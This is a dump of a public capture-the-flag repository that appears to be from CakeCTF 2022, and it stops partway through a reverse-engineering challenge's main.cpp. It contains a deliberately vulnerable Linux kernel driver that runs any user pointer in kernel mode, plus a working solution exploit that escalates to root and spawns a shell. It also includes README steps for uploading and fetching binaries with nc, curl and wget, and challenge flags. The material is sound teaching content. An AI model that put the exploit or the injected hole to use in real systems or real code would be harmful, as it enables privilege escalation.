https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/challenge/qemu/bzImage -------------------------------------------------------------------------------- /pwn/welkerme/challenge/qemu/rootfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/challenge/qemu/rootfs.cpio -------------------------------------------------------------------------------- /pwn/welkerme/challenge/qemu/run_qemu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | LENGTH=9 3 | STRENGTH=26 4 | challenge=`dd bs=32 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _. | cut -c -$LENGTH` 5 | echo hashcash -mb$STRENGTH $challenge 6 | 7 | echo "hashcash token: " 8 | read token 9 | if [ `expr "$token" : "^[a-zA-Z0-9\_\+\.\:\/]\{52\}$"` -eq 52 ]; then 10 | hashcash -cdb$STRENGTH -f /tmp/hashcash.sdb -r $challenge $token 2> /dev/null 11 | if [ $? -eq 0 ]; then 12 | echo "[+] Correct" 13 | else 14 | echo "[-] Wrong" 15 | exit 16 | fi 17 | else 18 | echo "[-] Invalid token" 19 | exit 20 | fi 21 | 22 | cd /home/kosenctfx/welkerme/challenge/qemu 23 | exec qemu-system-x86_64 \ 24 | -m 64M \ 25 | -nographic \ 26 | -kernel bzImage \ 27 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ 28 | -no-reboot \ 29 | -cpu kvm64 \ 30 | -monitor /dev/null \ 31 | -initrd rootfs.cpio \ 32 | -net nic,model=virtio \ 33 | -net user 34 | -------------------------------------------------------------------------------- /pwn/welkerme/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := driver.o 2 | #KBUILD_DIR := /lib/modules/$(KVERSION)/build 3 | KBUILD_DIR := /home/ptr/armoury/buildroot/output/build/linux-5.18.1 4 | 5 | all: 6 | $(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) modules 7 | 8 | clean: 9 | $(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) clean 10 | -------------------------------------------------------------------------------- /pwn/welkerme/challenge/src/driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("ptr-yudai"); 11 | MODULE_DESCRIPTION("welkerme - CakeCTF 2022"); 12 | 13 | #define DEVICE_NAME "welkerme" 14 | #define CMD_ECHO 0xc0de0001 15 | #define CMD_EXEC 0xc0de0002 16 | 17 | static int module_open(struct inode *inode, struct file *filp) { 18 | printk("'module_open' called\n"); 19 | return 0; 20 | } 21 | 22 | static int module_close(struct inode *inode, struct file *filp) { 23 | printk("'module_close' called\n"); 24 | return 0; 25 | } 26 | 27 | static long module_ioctl(struct file *filp, 28 | unsigned int cmd, 29 | unsigned long arg) { 30 | long (*code)(void); 31 | printk("'module_ioctl' called with cmd=0x%08x\n", cmd); 32 | 33 | switch (cmd) { 34 | case CMD_ECHO: 35 | printk("CMD_ECHO: arg=0x%016lx\n", arg); 36 | return arg; 37 | 38 | case CMD_EXEC: 39 | printk("CMD_EXEC: arg=0x%016lx\n", arg); 40 | code = (long (*)(void))(arg); 41 | return code(); 42 | 43 | default: 44 | return -EINVAL; 45 | } 46 | } 47 | 48 | static struct file_operations module_fops = { 49 | .owner = THIS_MODULE, 50 | .open = module_open, 51 | .release = module_close, 52 | .unlocked_ioctl = module_ioctl 53 | }; 54 | 55 | static dev_t dev_id; 56 | static struct cdev c_dev; 57 | 58 | static int __init module_initialize(void) 59 | { 60 | if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) 61 | return -EBUSY; 62 | 63 | cdev_init(&c_dev, &module_fops); 64 | c_dev.owner = THIS_MODULE; 65 | 66 | if (cdev_add(&c_dev, dev_id, 1)) { 67 | unregister_chrdev_region(dev_id, 1); 68 | return -EBUSY; 69 | } 70 | 71 | return 0; 72 | } 73 | 74 | static void __exit module_cleanup(void) 75 | { 76 | cdev_del(&c_dev); 77 | unregister_chrdev_region(dev_id, 1); 78 | } 79 | 80 | module_init(module_initialize); 81 | module_exit(module_cleanup); 82 | -------------------------------------------------------------------------------- /pwn/welkerme/challenge/src/driver.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/challenge/src/driver.ko -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | exploit: exploit.c 2 | gcc exploit.c -o exploit -static 3 | 4 | run: exploit 5 | # clean up 6 | rm -rf vm/mount 7 | mkdir -p vm/mount 8 | # copy exploit 9 | cd vm/mount; cpio -idv < ../rootfs.cpio 10 | cp exploit vm/mount/exploit 11 | cd vm/mount; find . -print0 \ 12 | | cpio -o --null --format=newc --owner root > ../rootfs.cpio 13 | # run qemu 14 | ./run.sh 15 | 16 | debug: exploit vm/mount 17 | # clean up 18 | rm -rf vm/mount 19 | mkdir -p vm/mount 20 | # copy exploit 21 | cd vm/mount; cpio -idv < ../debugfs.cpio 22 | cp exploit vm/mount/exploit 23 | cd vm/mount; find . -print0 \ 24 | | cpio -o --null --format=newc --owner root > ../debugfs.cpio 25 | # run qemu (debug port: 12345) 26 | ./debug.sh 27 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/README.ja.md: -------------------------------------------------------------------------------- 1 | # welkerme 2 | カーネルエクスプロイトの世界へようこそ! 3 | この問題では、Linuxカーネルにおける権限昇格について勉強しましょう。 4 | リモートサーバーで`/root/flag.txt`に書かれたフラグを読むのがゴールです。 5 | 6 | ## 最初の一歩 7 | ### セットアップ 8 | qemu, cpioと開発者ツールをインストールしてください。 9 | ``` 10 | # apt install qemu-system cpio gcc gdb make 11 | ``` 12 | 13 | ### 起動 14 | 次のコマンドでVMを起動できます。 15 | ``` 16 | $ make run 17 | ``` 18 | 19 | ### デバッグ 20 | QEMUのデバッグも可能です。まず、VMを 21 | ``` 22 | $ make debug 23 | ``` 24 | で実行し、12345番ポートにgdbでアタッチしてください。 25 | ``` 26 | $ gdb 27 | gdb> target remote localhost:12345 28 | ``` 29 | 何らかの理由でこのポート番号が使えない場合、 30 | `debug.sh`の最終行を変更することで番号を変えられます。 31 | 32 | ## エクスプロイトの開発 33 | このOSは脆弱なカーネルモジュールを実行しています。 34 | ``` 35 | [ welkerme - CakeCTF 2022 ] 36 | / $ lsmod 37 | Module Size Used by Tainted: G 38 | driver 16384 0 39 | ``` 40 | ソースコードは`src/driver.c`に書かれています。 41 | `module_ioctl`をチェックすると良いかも...? 42 | 43 | `exploit.c`を改造してエクスプロイトを完成させてください。 44 | 45 | ## リモートでの実行 46 | エクスプロイトが上手く書けたら、リモートサーバーで試してみましょう。 47 | 48 | 49 | ### Proof-of-Work 50 | まず、Proof-of-Workを解く必要があります。 51 | ``` 52 | $ nc pwn2.2022.cakectf.com 9999 53 | hashcash -mb26 x3.lIBh9s 54 | hashcash token: 55 | ``` 56 | 新しいターミナルを開き、上のPoWの接続は切らないでください。 57 | `hashcash`を持っていない場合はインストールしてください。 58 | ``` 59 | # apt install hashcash 60 | ``` 61 | サーバーに提示されたコマンドを実行すると、次のような結果が得られます。 62 | ``` 63 | $ hashcash -mb26 x3.lIBh9s 64 | hashcash token: 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m 65 | hashcash -mb26 x3.lIBh9s 5.79s user 0.00s system 99% cpu 5.797 total 66 | ``` 67 | 問題サーバーにアクセスするにはtokenを送る必要があります。 68 | ``` 69 | $ nc pwn2.2022.cakectf.com 9999 70 | hashcash -mb26 x3.lIBh9s 71 | hashcash token: 72 | 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m 73 | ... 74 | ``` 75 | PoWに関して分からないことがある場合、Discordで運営にお尋ねください。 76 | 77 | ### エクスプロイトの転送 78 | 自分のサーバーを持っている方は、サーバーからエクスプロイトをダウンロードしてください。 79 | (HTTPのみに対応!) 80 | ``` 81 | / $ cd /tmp 82 | /tmp $ wget http:///exploit 83 | ``` 84 | 85 | 自分のサーバーを持っていない方は、[sprunge](http://sprunge.us/)や 86 | [termbin](http://termbin.com/)などを利用できます。 87 | まず、サーバーにあなたのエクスプロイトをアップロードしてください。 88 | ``` 89 | # sprunge 90 | $ base64 exploit | curl -F 'sprunge=<-' http://sprunge.us 91 | http://sprunge.us/XXXXXX 92 | 93 | # termbin (File size must be small enough) 94 | $ base64 exploit | nc termbin.com 9999 95 | https://termbin.com/YYYY 96 | ``` 97 | 上の例に示したように、base64でファイルをエンコードしないと壊れる可能性があります。 98 | また、termbinは小さいサイズのファイルしか受け付けません。termbinを使う場合、[musl-gcc](https://www.musl-libc.org/how.html)を使って小さいバイナリを作れます。 99 | アップロードが完了したら、生成されたURLからエクスプロイトをダウンロードできます。 100 | ``` 101 | / $ cd /tmp 102 | 103 | # sprunge 104 | /tmp $ wget http://sprunge.us/XXXXXX -O exploit.b64 105 | /tmp $ base64 -d exploit.b64 > exploit 106 | /tmp $ chmod +x exploit 107 | 108 | # termbin (httpsをhttpに変えること!) 109 | /tmp $ wget http://termbin.com/YYYY -O exploit.b64 110 | /tmp $ base64 -d exploit.b64 > exploit 111 | /tmp $ chmod +x exploit 112 | ``` 113 | 114 | ## ヒント 115 | `exploit.c`の関数`func`は、`CMD_EXEC`によってカーネル空間で実行されています。 116 | 基本的に、権限昇格のためにカーネル空間で次のコードを実行させたいです。 117 | ```c 118 | commit_creds(prepare_kernel_cred(NULL)); 119 | ``` 120 | `prepare_kernel_cred(NULL)`はもっとも高い権限で新しい認証情報を作成します。 121 | `commit_creds(cred)`は認証情報を呼び出し元プロセスに設定します。 122 | 123 | 各関数のアドレスは`/proc/kallsync`に記載されています。(デバッグモードを使用してください) 124 | ``` 125 | / # grep commit_creds /proc/kallsyms 126 | ffffffff81072540 T commit_creds 127 | ``` 128 | 頑張ってください。 129 | 130 | ## 参考になる文献 131 | この問題はもっとも簡単なカーネルエクスプロイトです。 132 | しかし、もし詰まった場合は、次のサイトなどが助けになるかもしれません。 133 | これらの記事は、この問題より少し複雑なエクスプロイトについて説明していることには注意してください。 134 | 135 | - [Learning Linux Kernel Exploitation](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/#the-simplest-exploit---ret2usr) by Midas (英語) 136 | - [Linux Kernel Exploit 内核漏洞学习(2)-ROP](https://bbs.pediy.com/thread-253377.htm#msg_header_h1_5) by 钞sir (中国語) 137 | - [PAWNYABLE!](https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html#ret2user-ret2usr) by ptr-yudai (日本語) 138 | - [Exploit Tech: ret2usr](https://learn.dreamhack.io/82#t572) by Dreamhack (韓国語) 139 | 140 | 最後に重要なことですが、Google検索は常にあなたの味方です。 141 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/README.md: -------------------------------------------------------------------------------- 1 | # welkerme 2 | Welcome to Kernel Exploit! 3 | In this challenge, you're going to learn how to escalate privilege in Linux kernel. 4 | The goal is to read the flag written in `/root/flag.txt` on the remote server. 5 | 6 | ## First Step 7 | ### Setup 8 | Install qemu, cpio, and some developer tools. 9 | ``` 10 | # apt install qemu-system cpio gcc gdb make 11 | ``` 12 | 13 | ### Run 14 | You can run VM with the following command: 15 | ``` 16 | $ make run 17 | ``` 18 | 19 | ### Debug 20 | You can also debug QEMU. First, run the VM by 21 | ``` 22 | $ make debug 23 | ``` 24 | and then attach to port 12345 with gdb. 25 | ``` 26 | $ gdb 27 | gdb> target remote localhost:12345 28 | ``` 29 | If you can't use this port number for some reason, 30 | you can change it by changing the last line of `debug.sh`. 31 | 32 | ## Developing Exploit 33 | The OS is running a vulnerable kernel module. 34 | ``` 35 | [ welkerme - CakeCTF 2022 ] 36 | / $ lsmod 37 | Module Size Used by Tainted: G 38 | driver 16384 0 39 | ``` 40 | You can find the source code of this driver in `src/driver.c`. 41 | Probably you should check `module_ioctl` function :) 42 | 43 | Edit `exploit.c` to develop your exploit. 44 | 45 | ## Testing on Remote 46 | If you successfully finish writing your exploit, 47 | you can try it on the remote server. 48 | 49 | ### Proof-of-Work 50 | You will be asked to solve a Proof-of-Work first. 51 | ``` 52 | $ nc pwn2.2022.cakectf.com 9999 53 | hashcash -mb26 x3.lIBh9s 54 | hashcash token: 55 | ``` 56 | Open a new terminal and keep the connection of the PoW above. 57 | Install `hashcash` if you don't have one. 58 | ``` 59 | # apt install hashcash 60 | ``` 61 | Run the command given by the server and you'll get something like this: 62 | ``` 63 | $ hashcash -mb26 x3.lIBh9s 64 | hashcash token: 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m 65 | hashcash -mb26 x3.lIBh9s 5.79s user 0.00s system 99% cpu 5.797 total 66 | ``` 67 | You must send the token to get access to the challenge. 68 | ``` 69 | $ nc pwn2.2022.cakectf.com 9999 70 | hashcash -mb26 x3.lIBh9s 71 | hashcash token: 72 | 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m 73 | ... 74 | ``` 75 | Feel free to ask admin on Discord if you have any trouble about PoW. 76 | 77 | ### Sending Your Exploit 78 | If you have your own server, you can simply download your exploit 79 | from your server. (HTTP only!) 80 | ``` 81 | / $ cd /tmp 82 | /tmp $ wget http:///exploit 83 | ``` 84 | 85 | If you don't have your own server, you may use [sprunge](http://sprunge.us/) 86 | or [termbin](http://termbin.com/). 87 | First, upload your exploit to the server. 88 | ``` 89 | # sprunge 90 | $ base64 exploit | curl -F 'sprunge=<-' http://sprunge.us 91 | http://sprunge.us/XXXXXX 92 | 93 | # termbin (File size must be small enough) 94 | $ base64 exploit | nc termbin.com 9999 95 | https://termbin.com/YYYY 96 | ``` 97 | As shown in the example above, use base64 or the file may corrupt. 98 | Also, be noted that termbin only accepts small files. You can use [musl-gcc](https://www.musl-libc.org/how.html) to make a small binary if you choose to use termbin. 99 | After finishing upload, you can download the exploit from the URL generated. 100 | ``` 101 | / $ cd /tmp 102 | 103 | # sprunge 104 | /tmp $ wget http://sprunge.us/XXXXXX -O exploit.b64 105 | /tmp $ base64 -d exploit.b64 > exploit 106 | /tmp $ chmod +x exploit 107 | 108 | # termbin (Change https to http!) 109 | /tmp $ wget http://termbin.com/YYYY -O exploit.b64 110 | /tmp $ base64 -d exploit.b64 > exploit 111 | /tmp $ chmod +x exploit 112 | ``` 113 | 114 | ## Hint 115 | The function `func` in `exploit.c` is executed in the kernel space by `CMD_EXEC`. 116 | Basically, you want to run the following code in the kernel space to escalate privilege. 117 | ```c 118 | commit_creds(prepare_kernel_cred(NULL)); 119 | ``` 120 | `prepare_kernel_cred(NULL)` creates a new credential with the highest privilege. 121 | `commit_creds(cred)` applies the credential to the caller process. 122 | 123 | You can find the address of each function in `/proc/kallsyms`. (Use debug mode) 124 | ``` 125 | / # grep commit_creds /proc/kallsyms 126 | ffffffff81072540 T commit_creds 127 | ``` 128 | Good luck! 129 | 130 | ## Good Readings 131 | I believe this challenge is the easiest kernel exploit. 132 | If you're stuck, however, the following websites may help you. 133 | Be noted these posts explain a bit more complex exploit than this challenge. 134 | 135 | - [Learning Linux Kernel Exploitation](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/#the-simplest-exploit---ret2usr) by Midas (English) 136 | - [Linux Kernel Exploit 内核漏洞学习(2)-ROP](https://bbs.pediy.com/thread-253377.htm#msg_header_h1_5) by 钞sir (Chinese) 137 | - [PAWNYABLE!](https://pawnyable.cafe/linux-kernel/) by ptr-yudai (Japanese) 138 | - [Exploit Tech: ret2usr](https://learn.dreamhack.io/82#t572) by Dreamhack (Korean) 139 | 140 | Last but not least, Google search is always with you. 141 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | exec qemu-system-x86_64 \ 3 | -m 64M \ 4 | -nographic \ 5 | -kernel vm/bzImage \ 6 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ 7 | -no-reboot \ 8 | -cpu qemu64 \ 9 | -monitor /dev/null \ 10 | -initrd vm/debugfs.cpio \ 11 | -net nic,model=virtio \ 12 | -net user \ 13 | -gdb tcp::12345 14 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define CMD_ECHO 0xc0de0001 9 | #define CMD_EXEC 0xc0de0002 10 | 11 | int func(void) { 12 | return 31337; 13 | } 14 | 15 | int main(void) { 16 | int fd, ret; 17 | 18 | if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { 19 | perror("/dev/welkerme"); 20 | exit(1); 21 | } 22 | 23 | ret = ioctl(fd, CMD_ECHO, 12345); 24 | printf("CMD_ECHO(12345) --> %d\n", ret); 25 | 26 | ret = ioctl(fd, CMD_EXEC, (long)func); 27 | printf("CMD_EXEC(func) --> %d\n", ret); 28 | 29 | close(fd); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | exec qemu-system-x86_64 \ 3 | -m 64M \ 4 | -nographic \ 5 | -kernel vm/bzImage \ 6 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ 7 | -no-reboot \ 8 | -cpu qemu64 \ 9 | -monitor /dev/null \ 10 | -initrd vm/rootfs.cpio \ 11 | -net nic,model=virtio \ 12 | -net user 13 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/src/driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("ptr-yudai"); 11 | MODULE_DESCRIPTION("welkerme - CakeCTF 2022"); 12 | 13 | #define DEVICE_NAME "welkerme" 14 | #define CMD_ECHO 0xc0de0001 15 | #define CMD_EXEC 0xc0de0002 16 | 17 | static int module_open(struct inode *inode, struct file *filp) { 18 | printk("'module_open' called\n"); 19 | return 0; 20 | } 21 | 22 | static int module_close(struct inode *inode, struct file *filp) { 23 | printk("'module_close' called\n"); 24 | return 0; 25 | } 26 | 27 | static long module_ioctl(struct file *filp, 28 | unsigned int cmd, 29 | unsigned long arg) { 30 | long (*code)(void); 31 | printk("'module_ioctl' called with cmd=0x%08x\n", cmd); 32 | 33 | switch (cmd) { 34 | case CMD_ECHO: 35 | printk("CMD_ECHO: arg=0x%016lx\n", arg); 36 | return arg; 37 | 38 | case CMD_EXEC: 39 | printk("CMD_EXEC: arg=0x%016lx\n", arg); 40 | code = (long (*)(void))(arg); 41 | return code(); 42 | 43 | default: 44 | return -EINVAL; 45 | } 46 | } 47 | 48 | static struct file_operations module_fops = { 49 | .owner = THIS_MODULE, 50 | .open = module_open, 51 | .release = module_close, 52 | .unlocked_ioctl = module_ioctl 53 | }; 54 | 55 | static dev_t dev_id; 56 | static struct cdev c_dev; 57 | 58 | static int __init module_initialize(void) 59 | { 60 | if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) 61 | return -EBUSY; 62 | 63 | cdev_init(&c_dev, &module_fops); 64 | c_dev.owner = THIS_MODULE; 65 | 66 | if (cdev_add(&c_dev, dev_id, 1)) { 67 | unregister_chrdev_region(dev_id, 1); 68 | return -EBUSY; 69 | } 70 | 71 | return 0; 72 | } 73 | 74 | static void __exit module_cleanup(void) 75 | { 76 | cdev_del(&c_dev); 77 | unregister_chrdev_region(dev_id, 1); 78 | } 79 | 80 | module_init(module_initialize); 81 | module_exit(module_cleanup); 82 | -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/vm/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/distfiles/vm/bzImage -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/vm/debugfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/distfiles/vm/debugfs.cpio -------------------------------------------------------------------------------- /pwn/welkerme/distfiles/vm/rootfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/distfiles/vm/rootfs.cpio -------------------------------------------------------------------------------- /pwn/welkerme/solution/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define CMD_ECHO 0xc0de0001 9 | #define CMD_EXEC 0xc0de0002 10 | 11 | int escalate_privilege(void) { 12 | void (*commit_creds)(void*) = 0xffffffff81072540UL; 13 | void* (*prepare_kernel_cred)(void*) = 0xffffffff810726e0UL; 14 | commit_creds(prepare_kernel_cred(NULL)); 15 | return 31337; 16 | } 17 | 18 | int main(void) { 19 | int fd, ret; 20 | 21 | if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { 22 | perror("/dev/welkerme"); 23 | exit(1); 24 | } 25 | 26 | ioctl(fd, CMD_EXEC, (long)escalate_privilege); 27 | system("/bin/sh"); 28 | 29 | close(fd); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /pwn/welkerme/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: welkerme 3 | description: > 4 |

Introduction to Linux Kernel Exploit :)

5 | nc {host} {port}
6 | * There is a limit to the number of connections. Wait 5 minutes if you cannot connect. 7 | flag: "CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}" 8 | author: ptr-yudai 9 | host: pwn2.2022.cakectf.com 10 | port: 9999 11 | tags: 12 | - pwn 13 | - warmup 14 | is_survey: false 15 | -------------------------------------------------------------------------------- /rev/kiwi/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:bookworm-slim 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r ctf && useradd -r -g ctf ctf 8 | 9 | ADD challenge/ctf.xinetd /etc/xinetd.d/ctf 10 | ADD challenge/init.sh /etc/init.sh 11 | ADD challenge/redir.sh /home/ctf/.redir.sh 12 | RUN chmod 550 /home/ctf/.redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | WORKDIR /home/ctf 17 | ADD challenge/flag.txt flag.txt 18 | ADD distfiles/chall chall 19 | RUN chmod 440 flag.txt 20 | RUN chmod 550 chall 21 | 22 | RUN chown -R root:ctf /home/ctf 23 | 24 | RUN ls /home/ctf -lh 25 | 26 | RUN service xinetd restart 27 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ main.cpp -std=c++11 -o chall 3 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/cakectf.hpp: -------------------------------------------------------------------------------- 1 | #include "kiwi.h" 2 | 3 | namespace cakectf { 4 | 5 | #ifndef INCLUDE_CAKECTF_H 6 | #define INCLUDE_CAKECTF_H 7 | 8 | class BinarySchema { 9 | public: 10 | bool parse(kiwi::ByteBuffer &bb); 11 | const kiwi::BinarySchema &underlyingSchema() const { return _schema; } 12 | bool skipEncryptionKeyField(kiwi::ByteBuffer &bb, uint32_t id) const; 13 | 14 | private: 15 | kiwi::BinarySchema _schema; 16 | uint32_t _indexEncryptionKey = 0; 17 | }; 18 | 19 | class EncryptionKey; 20 | 21 | class EncryptionKey { 22 | public: 23 | EncryptionKey() { (void)_flags; } 24 | 25 | uint32_t *magic(); 26 | const uint32_t *magic() const; 27 | void set_magic(const uint32_t &value); 28 | 29 | kiwi::Array *key(); 30 | const kiwi::Array *key() const; 31 | kiwi::Array &set_key(kiwi::MemoryPool &pool, uint32_t count); 32 | 33 | bool encode(kiwi::ByteBuffer &bb); 34 | bool decode(kiwi::ByteBuffer &bb, kiwi::MemoryPool &pool, const BinarySchema *schema = nullptr); 35 | 36 | private: 37 | uint32_t _flags[1] = {}; 38 | kiwi::Array _data_key = {}; 39 | uint32_t _data_magic = {}; 40 | }; 41 | 42 | #endif 43 | #ifdef IMPLEMENT_SCHEMA_H 44 | 45 | bool BinarySchema::parse(kiwi::ByteBuffer &bb) { 46 | if (!_schema.parse(bb)) return false; 47 | _schema.findDefinition("EncryptionKey", _indexEncryptionKey); 48 | return true; 49 | } 50 | 51 | bool BinarySchema::skipEncryptionKeyField(kiwi::ByteBuffer &bb, uint32_t id) const { 52 | return _schema.skipField(bb, _indexEncryptionKey, id); 53 | } 54 | 55 | uint32_t *EncryptionKey::magic() { 56 | return _flags[0] & 1 ? &_data_magic : nullptr; 57 | } 58 | 59 | const uint32_t *EncryptionKey::magic() const { 60 | return _flags[0] & 1 ? &_data_magic : nullptr; 61 | } 62 | 63 | void EncryptionKey::set_magic(const uint32_t &value) { 64 | _flags[0] |= 1; _data_magic = value; 65 | } 66 | 67 | kiwi::Array *EncryptionKey::key() { 68 | return _flags[0] & 2 ? &_data_key : nullptr; 69 | } 70 | 71 | const kiwi::Array *EncryptionKey::key() const { 72 | return _flags[0] & 2 ? &_data_key : nullptr; 73 | } 74 | 75 | kiwi::Array &EncryptionKey::set_key(kiwi::MemoryPool &pool, uint32_t count) { 76 | _flags[0] |= 2; return _data_key = pool.array(count); 77 | } 78 | 79 | bool EncryptionKey::encode(kiwi::ByteBuffer &_bb) { 80 | if (magic() != nullptr) { 81 | _bb.writeVarUint(1); 82 | _bb.writeVarUint(_data_magic); 83 | } 84 | if (key() != nullptr) { 85 | _bb.writeVarUint(2); 86 | _bb.writeVarUint(_data_key.size()); 87 | for (uint8_t &_it : _data_key) _bb.writeByte(_it); 88 | } 89 | _bb.writeVarUint(0); 90 | return true; 91 | } 92 | 93 | bool EncryptionKey::decode(kiwi::ByteBuffer &_bb, kiwi::MemoryPool &_pool, const BinarySchema *_schema) { 94 | uint32_t _count; 95 | while (true) { 96 | uint32_t _type; 97 | if (!_bb.readVarUint(_type)) return false; 98 | switch (_type) { 99 | case 0: 100 | return true; 101 | case 1: { 102 | if (!_bb.readVarUint(_data_magic)) return false; 103 | set_magic(_data_magic); 104 | break; 105 | } 106 | case 2: { 107 | if (!_bb.readVarUint(_count)) return false; 108 | for (uint8_t &_it : set_key(_pool, _count)) if (!_bb.readByte(_it)) return false; 109 | break; 110 | } 111 | default: { 112 | if (!_schema || !_schema->skipEncryptionKeyField(_bb, _type)) return false; 113 | break; 114 | } 115 | } 116 | } 117 | } 118 | 119 | #endif 120 | 121 | } 122 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/cakectf.kiwi: -------------------------------------------------------------------------------- 1 | package cakectf; 2 | 3 | message EncryptionKey { 4 | uint magic = 1; 5 | byte[] key = 2; 6 | } 7 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service challenge 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ctf 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9999 11 | server = /home/ctf/.redir.sh 12 | rlimit_as = 1024M 13 | } -------------------------------------------------------------------------------- /rev/kiwi/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng} 2 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /rev/kiwi/challenge/main.cpp: -------------------------------------------------------------------------------- 1 | #define IMPLEMENT_KIWI_H 2 | #define IMPLEMENT_SCHEMA_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "cakectf.hpp" 10 | 11 | int readFlag(std::string &flag) { 12 | std::ifstream ifs("./flag.txt"); 13 | 14 | if (ifs.fail()) 15 | return 1; 16 | 17 | getline(ifs, flag); 18 | return 0; 19 | } 20 | 21 | int readKey(kiwi::ByteBuffer &message) { 22 | std::vector bytes_key; 23 | std::string hex_key; 24 | 25 | std::cout << "Enter key: "; 26 | std::cin >> hex_key; 27 | if (!std::cin.good()) 28 | return 1; 29 | 30 | try { 31 | boost::algorithm::unhex(hex_key, std::back_inserter(bytes_key)); 32 | } catch(...) { 33 | return 1; 34 | } 35 | for (uint8_t c: bytes_key) { 36 | message.writeByte(c); 37 | } 38 | 39 | return 0; 40 | } 41 | 42 | int checkMessage(const cakectf::EncryptionKey &enckey) { 43 | if (enckey.magic() == nullptr) 44 | return 1; 45 | if (*enckey.magic() != 0xCAFEC4F3) 46 | return 1; 47 | if (enckey.key() == nullptr) 48 | return 1; 49 | if (enckey.key()->size() < 8) 50 | return 1; 51 | 52 | return 0; 53 | } 54 | 55 | std::vector encryptFlag(const std::string &flag, 56 | const kiwi::Array &key) { 57 | std::vector enc_flag; 58 | enc_flag.reserve(flag.size()); 59 | 60 | for (size_t i = 0; i < flag.size(); i++) { 61 | enc_flag.emplace_back(flag[i] ^ key.data()[i % key.size()] ^ 0xff ^ i); 62 | } 63 | 64 | return enc_flag; 65 | } 66 | 67 | int main() { 68 | std::string flag; 69 | kiwi::ByteBuffer message; 70 | kiwi::MemoryPool pool; 71 | cakectf::EncryptionKey enckey; 72 | 73 | std::setbuf(stdin, NULL); 74 | std::setbuf(stdout, NULL); 75 | std::setbuf(stderr, NULL); 76 | 77 | 